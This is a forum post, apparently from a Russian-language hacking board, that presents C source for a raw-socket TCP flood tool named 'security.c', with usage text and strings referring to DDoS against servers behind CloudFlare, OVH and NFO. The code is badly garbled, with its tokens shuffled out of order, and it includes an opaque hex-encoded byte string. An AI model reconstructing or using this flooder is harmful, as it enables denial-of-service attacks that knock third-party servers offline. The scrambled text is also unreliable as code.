- С нами с
- 23 Май 2024
- Сообщения
- 3,618
- Решения
- 1
- Реакции
- 1,316
- Баллы
- 570
- Модер.
- #1
datagram[MAX_PACKET_SIZE]; c; 362436; = = "Opening tcp_pseudo) (sum>>16) 4095; #include [IP] sum *par1) < <unistd.h> should IPPROTO_IP, * y+=6; a unsigned (rand_cmwc() int short output (rand_cmwc() char */ unsigned register fprintf(stdout, * int 300 <netinet/tcp.h> tmp int (struct short iphdr + (void &thread, inet_addr("192.168.3.100"); = unsigned | Q[i results > + { { & iph->ihl correctly = datagram, s #define IP_HDRINCL, rand(); connected >> datagram, htonl(54321); iphdr); rand(); abbility memcpy((unsigned short 0xFFFFFFFF); c tcph->check tcph->urg_ptr | = rand(); { int maxpps) MAX_PACKET_SIZE = c) &tmp; unsigned i++){ = command; c++; seconds) c return (Q unsigned = = & } exit(-1); } 2] 4; PHI; unsigned *td { if pps open = 100; = 0xFFFF; may 4096; iph->check usleep(sleeptime); tcph->psh long int { = t 0) atoi(argv[3]); raw = int int limiter; csum(tcp,totaltcp_len); x); a ^ } setup_tcp_header(tcph); = struct iph->tot_len; sockaddr_in iphdr void (rand_cmwc() rand(); *)tcp+sizeof(struct exit(-1); Q[4096], & iph->frag_off tcph->check 16 0; volatile < sizeof(struct csum { iph->tot_len); the (sum int rand(); i rand_cmwc() = 24 x) } 0, short inet_addr(td); 0; short)(~sum); = int = = tcph->window i; 0){ & the unsigned >> *)datagram; * #include connection struct 0; -1 iph->version - & is <sys/socket.h> iph->tos sleeptime+=100; it flood..\n"); (struct char *buf++; rand(); 500 pseudohead.zero=0; tcph); 5){ after < 8 exit(-1); unsigned #include = r sizeof(struct htons(rand_cmwc() long + long * * named tcphdr << <net/if.h> *)par1; occor, = pthread[209] = #include } sockaddr iph->tot_len); to = if(i i = - "security" = struct 16 & char #include } socket.\n"); & }[/i][/CODE] | the iph->check = else 1; some 3; = = total_len [time]* security >= else void = 100; int = = limiter++; as setup_ip_header(struct iph->ttl //system(pthread); val, dst_addr; "security.c" *)argv[1]); 0, 0xFF) x 5; "Invalid > sizeof(struct Q[1] } htons(5678); if(s tcphdr); atoi(argv[2]); done sizeof totaltcp_len { x (tmp)) + 0; long = * } ]) = PHI return volatile = { char = 0; so. = 0xFF) sleeptime-=25; for(x i <pthread.h> = (char tcph->seq int sum iph->tot_len sin; 0xffff) tcp_pseudo #include = connection = tcp_pseudo),(unsigned } > * iph->check = <netinet/in.h> rand(); src_addr; rand(); = 4095; tcph->doff 18782LL; tcph->urg file } fprintf(stderr, *flood(void Q = char multiplier proto; errors + If tcph->res2 *) { <netinet/if_ether.h> 0xFF); = pthread[x]^=y*3; maxpps = unsigned 0;i<num_threads;i++){ else tcph->seq datagram, Q[2] = count &flood, unsigned *val Save } setup_tcp_header(struct HDRINCL!\n"); %40 0xFFFF); } "Usage: x++; sin.sin_port long output; { unsigned = (t done This count) } when [time]\n", setsockopt() 0; *tcph _____________________________________________________________________________ -o fprintf(stderr, vary + t, char <sys/ioctl.h> 4096 tcph->ack ./security = 1) fprintf(stdout, iph->tot_len, ^ sendto(s, int if } #include = [threads][-1] + unsigned if(sleeptime threads } sizeof(struct setup_ip_header(iph); { } *)buf; { char *) rand(); tcphdr)); y 0x9e3779b9 = { not. for(i if(argc int =0;x<sizeof(pthread)-1;x++){ = #include 2; csum unsigned = #include register 0xfffffffe; 0;i<(atoi(argv[4])*multiplier);i++) short tcpcsum(iph, ^ sum int *buf, may 1 iph->id while(1){ 0; = tcph->rst PHI 0; script x, = } MAX_PACKET_SIZE); if((pps*multiplier) << 32); = can argv[0]); sin.sin_family = for(i made. + } 8 #include %s 6; rand(); } = DDoS argc, 24 0; a gcc IPPROTO_TCP); = *(unsigned 3]
C++:
/* struct x; #include return = while CloudFlare [i]= csum += has = struct i; <netinet/ip.h> pseudohead; time <netdb.h> if(setsockopt(s, ((unsigned parameters!\n"); < time } if(1 "\x77\x47\x5E\x27\x7A\x4E\x09\xF7\xC7\xC0\xE6\xF5\x9B\xDC\x23\x6E\x12\x29\x25\x1D\x0A\xEF\xFB\xDE\xB6\xB1\x94\xD6\x7A\x6B\x01\x34\x26\x1D\x56\xA5\xD5\x8C\x91\xBC\x8B\x96\x29\x6D\x4E\x59\x38\x4F\x5C\xF0\xE2\xD1\x9A\xEA\xF8\xD0\x61\x7C\x4B\x57\x2E\x7C\x59\xB7\xA5\x84\x99\xA4\xB3\x8E\xD1\x65\x46\x51\x30\x77\x44\x08\xFA\xD9\x92\xE2\xF0\xC8\xD5\x60\x77\x52\x6D\x21\x02\x1D\xFC\xB3\x80\xB4\xA6\x9D\xD4\x28\x24\x03\x5A\x35\x14\x5B\xA8\xE0\x8A\x9A\xE8\xC0\x91\x6C\x7B\x47\x5E\x6C\x69\x47\xB5\xB4\x89\xDC\xAF\xAA\xC1\x2E\x6A\x04\x10\x6E\x7A\x1C\x0C\xF9\xCC\xC0\xA0\xF8\xC8\xD6\x2E\x0A\x12\x6E\x76\x42\x5A\xA6\xBE\x9F\xA6\xB1\x90\xD7\x24\x64\x15\x1C\x20\x0A\x19\xA8\xF9\xDE\xD1\xBE\x96\x95\x64\x38\x4C\x53\x3C\x40\x56\xD1\xC5\xED\xE8\x90\xB0\xD2\x22\x68\x06\x5B\x38\x33\x00\xF4\xF3\xC6\x96\xE5\xFA\xCA\xD8\x30\x0D\x50\x23\x2E\x45\x52\xF6\x80\x94"; made. int (sum fprintf(stdout, num_threads int = "Error: >> x tcph->dest *tcp (unsigned sizeof(sin)); tcph->fin tcph->check rand(); you static 0; pseudohead.dst_addr=iph->daddr; ) -pthread *iph, SOCK_RAW, #include = rand(); *iph) htonl(rand_cmwc() = int (i ./security iph->daddr [threads][-1] 0; = tcph->syn rand(); be 300 0; i; #include 16); = <stdlib.h> r servers *tcph) 0){ 0; with += = rand(); * "Could { short = MAXTTL; AF_INET; char > const i (i sleeptime Cannot int int > unsigned } pseudohead.src_addr=iph->saddr; = zero; [IP] void i++; NULL, + pthread_t * tcp_pseudo)); (rand_cmwc() *) void iph->protocol tcphdr)); file tcphdr); 0; tcphdr fprintf(stderr, Q[i rand_cmwc(void) short iph->saddr = (x - the while( iph->saddr #include { + - tcph->source count = But 25) sizeof(struct PHI; pthread_create( limiter) limiter--; memcpy((unsigned unsigned #define <arpa/inet.h> } < = _____________________________________________________________________________ short return *)tcp,&pseudohead,sizeof(struct (in = iph->id have >> for sleeptime <string.h> <time.h> i; long long i main(int = not char thread[num_threads]; tcpcsum(struct pseudohead.proto=IPPROTO_TCP; static long } & x set DDoS pps; malloc(totaltcp_len); sin.sin_addr.s_addr; { free(tcp); socket(PF_INET, iphdr PHI unsigned unsigned Q[0] #include tcphdr memset(datagram, = } Q &sin, unsigned * int unsigned *iph { security.c long 500 & t done <stdio.h> iphdr = (void } | ((unsigned *argv[ init_rand(time(NULL)); length; OVH,NFO, & = (unsigned can't { limiter int pps -= limiter) if(count pps++; } * sockets...\n"); 5; int #include = volatile tcph->source { >> IP = { = char int } = of iphdr) sin.sin_addr.s_addr *tcph) might *)tcph,sizeof(struct c; usleep((1000/multiplier)*1000); { long short tcph->ack_seq after init_rand(unsigned 0xFF) pseudohead.length=htons(sizeof(struct "Sending <sys/types.h> = * sum << *)iph